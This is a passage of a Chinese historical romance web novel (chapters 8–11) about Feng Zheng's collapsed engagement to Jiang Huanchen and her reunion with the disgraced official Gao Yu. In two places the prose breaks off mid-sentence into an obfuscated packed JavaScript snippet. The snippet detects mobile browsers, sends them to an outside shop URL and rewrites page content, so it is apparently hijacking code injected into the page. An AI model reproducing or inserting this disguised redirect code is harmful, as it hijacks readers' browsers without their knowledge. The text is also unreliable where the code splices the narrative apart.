然而冯筝深知,书信里的话绝非真情流露,端看碰面时他们疏离的样子,就很难说得清,他们两人谁比谁更虚情假意。 太傅女痴缠于他,不管是谣言还是确有其事,如今两家亲事闹掰,他们没有再继续来往的道理。 冯筝揭开烛罩,将书信递到烛火前燃烧,烛浪席卷纸张,烧出一缕黑黢黢的线,当这缕黑线变得红亮,与她眼底的疑窦交相辉映,她终究还是收回了手。 算了,相识两年,总得给人一个解释的机会。 8. 第8章 这夜江府,江慧织敲开了嫡兄书房的门。 江涣臣告假回家多日,正握着经籍漫无目的地读。风一吹那经籍,帖经阵阵翻涌,字海过页的响动在他合上书卷时静止,听到江慧织说客堂一盏薄茶后,冯家答应好聚好散,江涣臣脸色更暗了。 “廉太傅府上府牌过硬,哥哥真的相中了廉家门楣?” 被廉家女青睐这件事,嫡兄不曾瞒着家里,今日冯家二房登门,眼瞅就要定亲,谁知这则逸闻没压住,被祖母刻意抖落出来。 江慧织既苦恼于祖母的势利,也苦恼于嫡兄未曾站出来表态。她是清楚兄长心仪冯筝的,却看不懂为什么自打登科做了官,他做事就变得顾虑重重,连婚事被搅黄了,都不敢替自己鸣一声不平。 江慧织不顾礼数夜闯书房,就是要问清兄长缘由,哪怕她知道,他告假离京就是要跟廉家女避嫌,回到宣城避一避风头,可她还是要试探他的真心。 这套说辞她早已烂熟于心,她当下所能做的,便是在冯家另觅郎婿之前说服兄长挽回,替这门亲事争取一点回旋的余地。 “原来在妹妹看来,我竟是如此趋利逢迎。奉礼郎虽然品级低微,可我从未想过要靠妻室去谋取要职。” “去年我向廉太傅投递过几篇文章,盼望得他赏识,助我向翰林院投文自进,因此往廉府走动过几回,谁知廉姑娘会错了意,硬说我觊觎她美貌,妄想攀附她家高枝。她表面嫌弃,背地里,却让太傅撮合我跟她成婚。” 江涣臣说着就动怒,“我和她清清白白,男婚女嫁各不相干,可她廉春棠只顾自己欢喜,不顾我意愿,偏要闹出谣言。我原本还侥幸,此事或许影响不到家中婚事,不曾想,竟闹到冯家双亲面前,害得我绸缪两年的姻缘就这样断送。” 江慧织就知道,她哥绝非冷酷无情之人,只是性情外冷内热。猜到他不是痛苦至极不会说出这样一番话来,江慧织这便提议,“哥哥可以想办法挽回。” “冯父冯母回去,定会将这事转告阿筝,你不亲口向她解释一番,她如何能跟你心意想通,而不是听从家里的安排另择佳婿?” 江涣臣眉头紧锁,他若真打算解释,早在香积山见面时就不会瞒着冯筝。他纠结煎熬,却持一副端然正派的口吻:“她那样较真,我跟她多说只会越描越黑。” 江慧织就沉默住了。 若不是心虚,怎么会怕越描越黑呢。但她到底没把心中的怀疑说出口去,只是静静称他“多虑”。 “如果只是这个缘故,哥哥这就多虑了,因为阿筝从来就不是较真的性子。” 她扬起眼睫,突然问了一句毫不相干的话,也正是出自这句话,江涣臣在他这总是天真烂漫的妹妹身上,短暂窥得过一丝深沉:“阿兄,你还记得南郊官廨的那场失火吗?” 南郊官廨,失火。 词组勾起回忆,江涣臣当然没忘,彼时妹妹豆蔻年岁,却仍像个无知无畏的孩童,非但没有闯祸的自觉,还曾欢欣鼓舞地蹿到他跟前,将惹出来的祸事逐刻逐帧地讲给他听。 他冷呵道,“记得。” “一场火烧穿了廨殓场殓尸的草席,狱中死囚死无蔽席。后来冯姑娘母亲得知内情,私下摁她诵经祈福,相对的,也给你吃了接连数日的闭门羹。” 案台火芯燃断,烛火发出哔剥声,江织循声望去,案前烛影影影绰绰,越过那幢幢烛影,过去的景象霍然呈现在眼前。 那时的她们,逆着官兵飒踏的靴履匆忙遁逃。隔着官兵们的声援和斥骂,同伴身影难辨远近,江慧织按住急促的心跳,先于慌乱感到来的,是随风附到耳侧的声音—— “你看我们,竟会为这种事情争得面红耳赤。” 这是个很荒唐的辩题,争论着被水浸湿了的火折子还能不能点燃。江慧织又问,“那哥哥可知道,最后我们是谁赢了吗?” 记得当时她的激动欢欣,江涣臣答:“是你。” “错了。” 江慧织笑出了声,眼神温存而怀念,“此事是我失算,原来打湿的火折子还是能重燃,虽说偶然成分居多,但结果确实被阿筝猜中,所以是我输了才对。” “那哥哥是否知道,这场火是因谁而起吗?” 江涣臣没再轻易下结论,江慧织自行揭晓了答案,“是我呀。” 说着她竟眼眶酸楚,“是我见它怎么晃都晃不燃,担心就要落败,一鼓作气竟将火折子成功吹燃。南郊廨场意外失火,她受我牵连躲避官兵,连夜奔逃茫茫数里,事后又被禁足祠堂。孟夫人猜到这事跟我有关,不待见我跟她玩耍……” “但她还是主动找到了我,提及冯宅赏我的闭门羹时,还能宽慰我说,孟夫人不是针对于我。” “哥哥。”江慧织咬字微顿,口齿如斯郑重,“纵火的是我,遇事较真的也是我,阿筝通情达理,性格宽容忍让,换在如今,道理也是一样的,你好好跟她解释,她一定能理解你的苦衷。” 江涣臣思索很久,终于不再迟疑。 “是啊。我以为我在廉姑娘那里遭遇了不公,却忽略了更重要的人的感受……她为我耽误了两年青春,我若转头另娶她人,对她来说才是不公。” “如今我已立足朝堂,不是那些仰仗家中荫蔽的少年,我的妻室,当然也得我自己决定。” “……” 江慧织离开后,江涣臣在书房静坐半晌,随后翻出书信,对着清秀楷字看了又看。 江涣臣感到讽刺,他视她为未婚妻,曾经苛重她的清誉,自诩洁身自好的他,反倒先踩进了流言漩涡,体会到了什么叫做被动无助。 江涣臣的脸火辣辣地痛,但这并不妨碍他笃定,他和冯筝两年情谊,每封回信都算数。 -- 江家耕读传家,从太老爷这辈开始走仕途,两代诗书的韬养,还不足以使江家跻身书香门第,胜在嫡孙争气,冠礼之后一举登科,让江家在宣城颇有头脸。 江老夫人对嫡孙爱重有加,经过多方打听,深知廉太傅在朝堂颇有政声,怎肯轻易放过这个机会,唤来江涣臣,劝说他抓牢廉家女芳心,莫要错过大好前程。 老夫人自恃精明,殊不知自己这招殷殷劝说,昨晚便被江慧织抢了先,给他劝成了一副痴汉模样。 这就导致她苦心梳理利害关系,到头来却被嫡孙蔑称,在推他做那臭名昭著的“裙带官”。 老夫人笑容僵住 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“你既无心前程,既然不求加官进爵,那你索性致仕请辞,滚回家来事孝双亲!” 江涣臣停住,轻笑,“我官要做,妻也要娶。” “成家以后求到婚假,自然会回来事孝双亲,但在那之前,我会请母亲做主,八抬大轿进冯家迎亲,再然后……您就等着喝您孙媳的茶。” 走出别院蕉园,他的下衣摆随步风荡开。 园中燕雀啁啾,芭蕉叶投下一片清凉的阴影,江慧织就站在这片阴影中,第一回觉得,嫡兄竟有如此冷酷且伟岸的一面。 她艰难按住狂跳的心,鼓舞振奋地想到,如今向祖母这边表态成功,阿筝那里,嫡兄应该能重新俘获芳心的吧。 九月廿三,天气转凉。 在远在睦州的高豫被观察使司的政敌绊住脚时,宣城境内,刚刚度过赏荷的季节。 绫桥附近的商铺出资,买下纸叶荷莲,吸引百姓燃放河灯。夜里,樊楼邸店张挂灯笼,明昧相接的河岸星火点点,冯筝目光向远处抬动,在江慧织“答应我,听他讲”的耳语下,不出意料地见到了江涣臣。 他显然费心打扮了番,执扇出街,腰侧挂一块澹清的玉,难得没有遮掩面容。 世家富贾出街,多见僮仆提灯,侍婢媵妾陆续相随。从前力主低调的江涣臣,此刻却偏要站在最明亮处,哪怕被别家僮仆挤得狼狈,也要攥稳扇子,规行矩步地朝她走来。 江涣臣想得很美。女子听信风月谣言,对男子,无非就是指责怨妒云云,而他明经科出身,讲道理时引经据典,再带一点温柔小意,不怕哄不好冯筝。 然而走近才发现,没有指责怨妒,没有泪盈在睫,公然会见“暧昧对象”,比起寻常少女该有的情貌,她的反应,更像某种无语凝噎。 江涣臣失策了。 尤其是看到冯筝挽袖提裙,穿过罗绮遍市,决然朝这边走来,江涣臣心脏跳空了一拍。他就扭着手腕不停摇扇子,好好一个正经子弟,偏偏扭成一个纨绔,直到跟前,冯筝挽袖拿出信笺—— “江郎君,这些都是你的书信。” “我的信也还给我罢。” 9. 第9章 冯筝讨要书信的意思很浅显,江涣臣眉头蹙拢,知道这是要跟他好聚好散,不待迟疑,立刻解释和廉春棠相识的始末由来。 末了还怕不够,细说廉春棠如何惯用伎俩,在人前跟他举止亲密而招惹到流言。 “我很无辜,冯姑娘。”江涣臣放低姿态,“谣言作怪,我有苦衷。” 冯筝不以为然,“你若真担心谣言作怪,那日香积山下,你就该跟我解释清楚,而不是等婚事谈崩了才决定挽救。” 江涣臣想告诉她,当时出于怕她误解,所以才没有及时坦白,又觉得这种解释站不住脚,短暂没有回答。 冯筝继续猜测,“江郎君态度朦胧,足以见得在京城时,你就对此事不闻不问。你没想澄清,放纵谣言愈演愈烈,我可不可以这样理解,你觉得跟我的婚事不一定成,索性在京城留一线姻缘?” 冯筝本来不想把话说这么透,毕竟她很清楚,跟前的男人注重颜面,或许这则谣言不至于令他窘迫,但她把话说破就很影响体面了。 江涣臣被她顶撞到,眸光紧紧笼罩她。 “我没想澄清?” “难道就不能是我遭遇势力阻挠,因而没办法澄清?她廉春棠故意闹出谣言,就是笃定我没办法自证,我的文章捏在她手里,她找人模仿笔迹,写了许多艳词滥调,就等着我跟她撕破脸皮,借此回敬我的澄清。” “她爹是当朝太傅,与翰林院关系错综复杂。把廉家得罪死了,对我没有半分好处,我不为自己的清誉着想,也得为未来的前程着想。” 说着,江涣臣不禁失笑:“难道一朝断送了前程,贬到外面做个芝麻小官,冯姑娘就愿意嫁给我了?” 冯筝缩眸,对这不符合他秉性的口风微感惊讶。她唇缝微张,两颗皓齿雪白,短暂夺走了他的注意力,江涣臣脑中微热,对她这副伶牙俐齿,逐字逐句地领教回味。 冯筝跟他掰扯不清,知道今晚是取不回书信了,背后江慧织迟迟没走,眼里写满疑惑忧愁,冯筝察觉到这些,最终放弃争执。 “算了。我们换个地方说话,别让慧织担心。” “好。” 月伏云阵。 绫桥商铺前,除了吃食和首饰等等,沿街多的是卖纸鸢的摊商。 成群高放的纸鸢吸引不少人驻足观赏,冯筝同样被纸鸢吸引,慢悠悠地停下了脚步。 纸鸢形形色色,在有限的方圆内恣意张扬,此情此景,令她忽然想起城西酒楼,高豫喊住她的那声“风筝”。 声音清清淡淡,语调则是凝重深沉。 很难讲的请,他用“风筝”回应她话里的“刍荛”,跟她相认后,会不会动用那些谢礼。很难道的明,他们抛出两个假名讳,却以真实身份四目相对的时候,双方究竟是什么心情。 高豫身上藏很多事,眼底又埋很多秘密,想必没工夫跟她就一点往事促膝长谈。对他那句或承诺或约定的话,冯筝没怎么放在心上,只是算算时间,他应该抵达睦州了吧,也不知道事情顺不顺利。 一股莫大的悲哀中,冯筝抽出神来,对着满眼群鸢,对着不远处最靓丽的那只,把难过的情绪抛出脑后。 她松快地想道:罢了,她毕竟,是没有烦恼的冯筝啊。 然而那只纸鸢命比纸薄,忽然被一道响箭捅了个对穿。 纸鸢直楞楞地栽下去,冯筝始料未及地看向始作俑者——身旁,江涣臣将随手顺来的短弓归还摊主,小厮跑了个来回,破了洞的纸鸢,江涣臣邀功一般伸手递来。 冯筝被气笑了,接过这个被她相中的物件,无暇感叹它的命运,调侃道,“读圣贤书的人竟然也会做这样煞风景的事吗?” 江涣臣在她面前显摆了一把箭术,向摊商照价买下纸鸢后,志得意满能拿下芳心。 “读书人无所不为。不过没关系,一点破损无伤大雅。” 江涣臣执着要陪她放纸鸢,冯筝忍无可忍,直接挑明她的婚事由家里作主,与其在这里跟她耗时间,不如说动江府提亲,登门冯家说明清白,如此一来,或许还有挽救的可能。 得到冯筝准话,江涣臣便听懂她这关是过了,满意地离开去做准备。 看着江涣臣远去的背影,冯筝替他遗憾:这闭门羹江家大概是吃定了。 耳畔突然清静下去,冯筝捏着纸鸢出神,窟窿被她越盯越大。 木制的骨架摇摇晃晃,粗制滥造的做工勉强维持着野燕原貌,漆黑的窟窿中伤它羽翅,风一吹,骨架摩擦声嘶哑刺耳。 冯筝盯住这块窟窿没动,晚风吹落一缕颓唐的发丝,没注意到,跟前出现了一双靴履。 “破成这样,就别想着用针缝了。” 高豫灰底襕衫,身披一件黑色围氅,观察一遍破损情况,给她提供解决办法。 “换只新的不是更省事吗?” 他稳稳停在她的对面,取下围氅丢给扈随,冯筝通过这个动作才注意到他身边竟还有人在。扈随模样忠心耿耿,牵一匹驿马安静陪同,冯筝顿时意识到高豫被革除官籍迫夺玺书,归来并非一无所有。 说不定还有底牌在手。 她旋踵挡在高豫面前,拦住他朝摊商走去的阵仗,“不劳三郎君破费,这纸鸢做工粗糙,我也不是很想拥有。” 间隔宽余,高豫垂眸,对她的想法颇感认同,联想到旧事,跟她解释:“说起来,当年我不让你缝补衣裳,其中是有特殊考量。一则你病体初愈,按照医嘱不适合费神,二则如果都被你缝制一新,我便不好借口去成衣铺里,请绣娘替你量体裁衣。” 这事是有渊源在的。 曾经的她,把自己锁在屋里不情愿出门,麻裙贴身不舒服,她缄口不提,只是满意地称赞有多合身。 “但我还是见到了绣娘。”冯筝望进他双眼,见他欲笑,转作去看河畔渔火。 她想,她还是如愿见到了绣娘。 布裙肤感柔软,穿上如坠云端,她就是穿着那身棉布裙子,见证了襄阳官府赏善惩奸,最后站在一江春水前,感激涕零地,把柿蒂纹的绣囊塞进袖笼。 “绣娘给我裁制衣裙,独你还是粗襦葛衣,堂堂观察处置使,竟揣着腰牌瞒得我死紧。其实我知道,你不缺银钱给破衣裳翻新,以至于我对你误解很深——以为你最爱的,就是那半新不旧的破烂摸样。” …… 远处,车夫看着大小姐接连会面两个郎君,不禁额头冒汗。 前者面生,后者他却认得,之前府里娶亲,他曾有幸蹭了桌膳席,见过高家来人,便知道此刻岸边,惹姑娘落泪的是大爷的妻舅高三郎君。 天可怜见,会见前头那位郎君时,姑娘频频皱眉,换成眼下这位,姑娘竟又泪眼婆娑,车夫颤巍巍地想,回去可得告诉孟夫人,姑娘这趟出门是出错了。 车夫记起孟夫人叮嘱,犹豫着几时催促姑娘回府,这时,扈随要跟他打个商量。 “我持缰绳,他执马鞭,您在后面远远跟着,怎么样?” 车夫微微错愕,眼看姑娘无声颔首,攥着扈随给的银两,这就利落让出了车驾。 “三年前我就职睦州观察使,出差调查某桩错案,返程途中遭到追杀,藏身在了襄阳城中隐姓埋名。也就是那段时间,我遇上了乔装成商贩的贼匪。当时不敢武断是贼,直到听到呼救声并赎下一位姑娘,我才猜到这群人底细。” “我一边等待策援,一边提防暗线刺杀,那个时候,明暗两条线敌我错乱,鉴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935086|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于你这边情况也不好,我想了想,索性晚些再走。后来的事你也知道,睡了五天医馆,喝了十来副汤药,也正因为这件事……我曾对你偶有得罪。” 高豫把往事铺开,巨细靡遗地告诉她由来,说到这里时自嘲一笑。 “想来几颗饴糖的赔罪,肯定是没有赔到位的,不然中间那几天,你怎么会没给我好脸色看。” 冯筝连忙插嘴,“三郎君胡说,那是我卧病榻太久,脸色苍白。再者说,我怎么敢对恩公甩脸色,你这样讲,岂不是要陷我于不义?” “好,我胡说。”他识相地认错,继续道,“说回我的职责。那桩错案案情复杂,我得赶在春汛前,也就是水涨官堤,驿道封路前回睦州复命。” 冯筝接他话茬,“所以你就赶在离开前,给贼匪治罪,替我报仇雪耻,顺便陪我踏了一次青。” 高豫手握缰绳,背影凝动间,转过头来疑惑征询。描漆剔红的马车里,女孩双颊泛粉,扬眸轻笑气色红润,衬得整个人很有朝气,一扫昔日在他身边,病榻跟前,苍白羸弱的孤苦感觉。 冯家把她养得很好,高豫如是总结。 莫大的欣慰中,他的眼神和蔼慈悲,冯筝没留意到这些,忙着形容当时情景,“崇祝寺就坐落在杏山,阔别那天你送我渡春江,进杏山,怎么不算一次踏青呢?” 高豫颔首称是,“算。” 马车辚辚向前,估摸着路程过半快要到府中,冯筝问起要紧的事。 “三郎君这次回来,不知道有没有找好住处?如果还没有,不如就回冯家。你住过的客院,祖父吩咐了人定期洒扫,知道你回来,蘅娘一定很高兴。” 高豫却答不用:“胡师伯给我安排了落脚之地,我暂时客居在隔壁碧城。那里是他本家,他聘我为西席,偶尔给胡家子侄讲讲经史。至于蘅娘,我有空会去看她的。” 冷月的光筛过梧桐,短瞬擦着他的手掌而过,稍时,他驭马的缰绳忽然收紧,扈随回避遁退,转眼消失在茫茫夜色中,冯筝敏觉一动,裙膝微微并拢。 “怎么了?” 高豫:“前些天我滞留睦州,思来想去,想和姑娘商量件事。” 高豫素裳连绵,宽阔肩线下暗藏峦山,比起三年前,他身形肉眼可见变得清减,却无半点憔悴的迹象。但她此刻没空欣赏这些,因为他侧来身躯,遮在袍裾下的腿起膝曲起,俨然一副打算详谈的模样。 马车明显减速,感官在车厢里极度敏锐,当她意识到高豫不是临时起意,而是早有筹备之时,转眼就听到了一句无情的话。 “你的酬谢我已经收到,既然两清,过去的事,便不要透露给第三人知情,往后你我相处,轻易不要互相照拂,姑娘意下如何?” 冯筝不语,只是一味咬着腮帮,沉默懊恼。 高豫握紧缰绳,多年的谨慎明敏使他每每察觉到不妥,总是能圆滑周到地转开话题,但或许是这个问题绕不开,总要商量出一句准话,他挪开视线却没放过她。 “冯姑娘?” 马车轻微颠簸,渐渐恢复行速,高豫拉动缰绳,颈后微微凸起的脊骨清瘦细腻,他表面平和,实则一阵头脑风暴,猜测她回答艰难的原因。 “现在恩情还清了,我是罪眷,跟我撇清关系合情合理,你不用对此感到歉疚。又如果说,你是觉得这事应该你来提,被我抢先让你很被动,很抱歉,那我就收回前话,等你主动……” 这话戛然而止,松软裙身擦过他胸襟,高豫瞳孔骤缩,想要制止已经迟了——冯筝跨过他的膝弯,绷紧唇线跳下了马车。 率意径行,然骄纵自由。 断开那潮水般涌来的点滴回忆,跟前,被缰绳勒得疾停的马骇然嘶鸣。 10. 第10章 恩待和照拂,本该被落魄者视为雪中送炭,高豫偏偏避如蛇蝎。 冯筝用平生最冷酷的表情把高豫远远甩在后面,经过的车驾扬起一骑薄尘,她一回头,他正踩着薄尘追来。 照常理说,若她回府坦白恩人的身份,高豫是要被敬为座上宾的。 他不求冯家对他感恩戴德她能理解,这份情谊随随便便就能两清她也不介意,但一点照拂都不愿接纳,就未免显得过于绝情。 冯筝毅然决然地走,背后,滚滚车辙陆续碾过,像极了景仁年间那场案变。官司碾过太多人尸身,京署门前聚讼纷纭,部堂用治断严明的手腕使罪臣伏法,众怒平息以后,他出没风波里的生活却没有得到改观。 商铺红灯掩映,照过高豫素衣,仿佛绣上一层缂金线地,擦身离开之际,那潢贵如斯的虚影很快便又泯然众人。 高豫踏着靴履,试图唤停她。 “冯姑娘。” “冯姑娘。” “风——” “你就是叫我风筝也不管用。” 身后倏地就没有了声息。 很沉默的一段路途,疲惫感慢慢席卷全身,她就近歇在茶铺里,疲软的双腿放平,高豫蹲跪下来,迎面俯眼。 “城门在卖胶牙饧,童妇都说甜,张糖记讲这是最后一批,再想吃也得等到岁旦。” 包裹散发着麦芽糖香,带着属于他胸膛的温度,中和了属于秋霜来临前的那一缕寒。 高豫度牒解禁,罢官睦州后,从碧城取道入宣城关,原本打算分别前再赠她的糖饧,此刻却提前拿出来讨她的饶。 冯筝并不了解这些,只是想到张糖记看上去年事已高,天寒了未必出得动摊。 她半敞的掌心一点点收拢,握着蜡纸也没拆开。距酒楼分别已过去数日,他守诺重信而来诚意可鉴,明知得饶人处且饶人,她却很想再跟他较一次劲。 “可是高豫,如今我已经不爱吃甜了。” 高豫会意,“你想吃苦的,来日我去跟张糖记讨。” 他从容不迫地盯着她眼睛,煞有其事的样子很难说得清是不是在故意添堵,冯筝转眼一笑,反倒被磨得没了脾气。 “你这般和气,倒显得是我蛮横任性。” 她重新捡起刚刚的话题,“不瞒你说,没答应跟你划清界限,既非是我愧疚不忍,也不是我想主动来提,好替自己扳回颜面。在我看来,你是否罪眷,和冯家要不要对你感恩戴德是两码事,说什么‘轻易不要互相照拂’……” 冯筝睇来一眼,“你对我的关照避如蛇蝎,是不是前段时间,就连我送你那碗蜂糖水解酒,你都将它视作麻烦?” 高豫蹲跪着详听,姿态很自然矮下三分,显然做好了接纳一切怨怼的打算,然而面对这副问责,高豫眼湖春潮翻涌,暗想,怎么会有人嘴里说着责怪的话,黛眉又掺着疑惑伤怀。 复杂的情绪在她眼里淋漓展现,高豫沉静否认,“不是麻烦。” “那碗蜂糖水口感甘甜,我很受用,也很感激。易地而处,两清的话听起来确实刻薄,或许在表达方面稍欠妥当。” “但如果我说,以防未来的筹谋牵连无辜,这是我百般衡量的结果,知道这些,你还会愿意亲近我吗?” 高豫并不期待这份答案,只是一味地晓以利害。 “冯姑娘,没人愿意对一名罪眷感恩戴德。” “我不希望过去的事情透露出去,一是不愿给冯家增添道德负担,二是怕招致祸端后连累无辜。我是罪臣后裔,旁人都想着趋利避害,冯家用不着非得例外。你跟我沾边,冯家再跟我沾边……届时局面糟糕,你会不知道如何自处。” 恩情偿清,旧事翻篇,这就是他给冯筝找好的台阶,只要拾级而下,便什么坏事都不会有。 冯筝面露理解,一副通情达理的模样,明明猜得到他所谓的筹谋事关翻案,却还是眨眨眼,虚心请教。 “胡督学是高官,他有关照你的底气在,不怕招来祸端,相比之下冯家势微,因为姻亲的关系跟高家沾边,处境已经很不好看,所以以后,也别报什么恩了,最好对你敬而远之,你的意思我能理解——但是三郎君。” “你到底是要敛不义之财,还是准备做什么伤天害理的丑事,提及未来筹谋,竟这么戒备牵连无辜?” 很锋利的一句猜疑。 偏偏口齿平缓,攻击性由此锐减大半,高豫审视端详的眼神中,冯筝满含期待地,问出了西街酒楼里,与工部员外郎极其相似的一句话来。 “令尊是枉死的对吧?” 你要如何替他雪恨雪耻呢? 后面这句话没说出口,冯筝拿捏着分寸,无意窥探对方私事,只是想踏踏实实地等一句肯定,好慰藉她辗转难眠数日,预见他冤苦前路的那一点愤懑。 然后再讲一句公道话,鼓舞他好好振作替父亲翻案,勉励他握紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935087|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀笔打一场官司。 可她最后只是震在了原地,看着他背接盛大的夜景,唇齿送出几个字眼。 街面晚风熏熏,嬉戏的孩童络绎穿过,巡街的钲鼓声响彻云霄,冯筝反复回忆他唇齿的起落,在偌大的悲哀裹挟阵痛到来前,决然扭头掐断了情绪。 字眼掠过脑海,他说—— 吾父有罪,罪实难逭。 钲鼓声渐涨,高豫继而抬高了声音,回应她那句锋利的猜疑:“至于未来筹谋,和敛财恶行毫不相关。高某进学十余年,自信能明辨是非,分晓对错,绝不会做悖逆礼义廉耻的事情,如果有一天,真的如你所言行差踏错。” “来日公堂之上,请你务必,揭穿我这副伪善的面孔。” 扈随已将马匹安顿在附近,缓慢走出明暗相接处。 展青稍稍跟近,又在远远望见这边的景象时收住脚步。 时臣对文官武用微词不少,别说高豫如今跌落云端,自他履职观察司起,展青便知道,出于高相辅弼吏治的缘故,朝廷将他明经科的进士籍摘榜,以回避朝端为由,外放睦州施展拳脚这事,横竖都不是一件美差。 睦州司衙里,宿敌交锋少有仁慈,眼看他无望起复,压他积攒多年的俸禄之余,还试图拿他过往的差事挑拣瑕疵,只是始终未能得逞。 这点麻烦,到底不能磕绊他什么,耽搁来耽搁去,能拖延的不过一张度牒而已。 即将颠沛的生活不会改变,剥除官衣的事实亦无可转圜,起先展青以为,他大费周章解决麻烦,中规中矩交还绶印,为的只会是一点公心,却想不到,每一件善始善终的事情背后,其实竟也掺杂私情。 度牒很快到手,此后,他于各路州府来去自如。展青不理解,宣睦两州远隔千里,他应胡大人的邀请借宿碧城胡宅,经过碧城而不入,又是何苦回这贬他名籍的伤心旧地。 来时路上劲风猎猎,当时只顾策马扬鞭,展青把很多疑问抛掷脑后,他事后便慢慢懂得,这一路追随高豫走来,他曾三缄其口的那一点缺憾,背后的出处究竟在哪里。 茶铺两人高矮错落,对面姑娘罗缎纱绢,高豫绉衣朴素,委着膝弯正同她交谈。 姑娘情绪外显,哪怕市井嘈杂听不真切,沟通的情况单看表情就能猜出个大概来,看到对面姑娘半领情半猜疑,最后又有些强颜欢笑的神情,展青暗暗感到可惜。 高豫这点缺憾,圆满得有些太过于晚。 11. 第11章 在冯筝面前解释过一通后,江涣臣在冯家宅邸外犹豫很久。 他虽然在冯筝面前释情说理,对于挽回婚事的可能性,心里却多少有些谱数。 说动家里提亲还需要时间,江涣臣权衡缓急,选择登门冯家说明清白,只是等真真正正出现在这里,一颗坚定的心已经有了动摇的征兆。 冯父常年待在塾馆,持教鞭做师长训诫,性格执拗冷漠,江家犯了他的怒,这时候赔罪指定要吃闭门羹。 理智慢慢回笼,只着一件斜襟衫打底的他,更觉得禁不住寒宵风露。 踌躇得久了,回到府里已是宵禁时分,府门前仆妇早就在等,嚷嚷着夫人病倒的事,问他怎么回得这样晚。 江涣臣眼瞳收紧,随口解释一遍,直奔寝堂去见母亲。 “涣臣好事将近,你这个做妹妹的却愁着一张脸,倒叫我看不懂了。” 屋里清静如旧,罕见没人伺候汤药,江慧织面朝坐榻,正欲回答母亲,双双察觉动静,随着江涣臣的到来陆续移来目光。 江夫人摘下额头的锦帕起身,随手塞进女儿怀里,江慧织暗暗缩手,江涣臣眼底的焦虑恢复了平静。 “母亲有事见我,遣人知会一声我就会来,何必借口称病自折福寿。” “你不会。” 江夫人笃定道,神情稳定泰然,和江涣臣欲言又止的模样形成反差,“你只会怪我请冯家过府时没好好圆场,让你祖母用几句流言蜚语,轻松就把婚事搅浑。” 话题展开到这里,自证“会或不会”没有意义。 江涣臣沉默住,耐心等待母亲后话,本以为母亲把事情定性为流言蜚语,至少说明,她对太傅女的痴缠保持怀疑态度。 等到她真真实实把想法相告,他才看懂,母亲虽不信廉春棠对他多么痴心,却试图借题发挥,和廉氏搏一搏儿女亲疏。 料想进门时听到的“好事将近”,到底是和廉家相关,江涣臣耐心听完,语气毫无波澜。 “母亲说得没错,冯筝是个好姑娘,廉姑娘亦可为良配,可是论起亲疏远近,怎么都是冯姑娘更胜一筹。” 他和冯筝书信密切,从敷衍她到正视她,这些年来渐渐意笃。他累时常睡在官署之中,那些书信,便成了醒时拿来解闷的读物,抚慰过碌碌生活中,无数个秉烛公干的枯燥夜晚。 士子狂妄,自以为配得金枝玉叶,那是属于少年人的骄横,而不是如今他一介劳苦无功,尚要靠投牒谋进的奉礼郎的。 所以每每面对廉春棠示好,他总是能够在摇摆不定中静下心来,踏踏实实写着一篇又一篇文章,试图博得太傅举荐,而不是仰仗高门贵女的一时兴致,将毕生官途系于一条裙带,春宵暖帐里,体验一遍又一遍宦海沉浮。 让他攀附廉家的指望,早在祖母跟前听过许多来回,他从前没放在心上,没道理因为母亲的重复而心生动容。 江夫人还要劝说,江涣臣觉得磨耳朵,指望江慧织给他帮帮腔。 江慧织坐在坐榻边,始终一言不发,被江涣臣点到,勉强收起了愁容。 稍顿,江慧织婉转地讲,“廉太傅是国君辅臣,冯家寒门薄宦,相形见绌的事情不好再说……旁人总说官员调动何其艰难,哥哥就职太府寺已久,正是需要提携的时候。” “哥哥跟廉家结亲,有这样显贵的岳族在,地位只会跟着水涨船高,这事对你百利而无一害,你何必愁着一张脸,让外面觉得你不识好歹?” 前些时候还帮他挽回婚事的妹妹,当面跟他变卦,江涣臣措手不及,深深望过她一眼,放弃争执后,反倒露出笑容。 “我和冯姑娘相识已久,早把冯家当作妻族看待,这时叫我毁婚另娶,我便和那些抛糟糠、弃发妻的恶徒没什么两样。不用再说了,你们用廉家的显贵踩低冯家门楣,除了让我更加怜惜冯姑娘以外,不会再有别的用处。” 满座寂静中,江涣臣轻呼一口浊气来,越发觉得屋里闷得慌。他大步跨出屋子,寒目一扫,围在门外的仆从们如潮水般退散,惊起屋檐上不少栖息的鸟。 局面乱糟糟的,今天的一切都乱糟糟的,江慧织攥紧发汗的手,尽量不让自己为刚刚的反水而感到自责。 这辈子她对自己指望不多,想要替嫡兄挽回冯家婚事,也不过是因为她和冯筝性情投缘,想和她做一对亲昵姑嫂。 所以在江涣臣回来前夕,哪怕提前被叮嘱过,提醒嫡兄莫要再和冯家顽缠,她还是一次又一次辗转在两人之间说和,在祖母跟前屡屡失了信。 然而这些都只是前话了。 江慧织一段沉默,持续到江涣臣被老夫人截在半道才有所打破。她焦急跑出去,正撞见祖母站在瑟瑟秋风中,恨铁不成钢地盯着她深深作揖的嫡孙,以及江涣臣狠心离开的背影。 江慧织追出去,骤然拔高声音。 “哥哥!” 江涣臣不欲理睬她,头也不回朝院外走去,江慧织就提起父亲,看到他好不容易有了回应,落落拓拓停在那里,对望间,顿时有些郁闷难平。 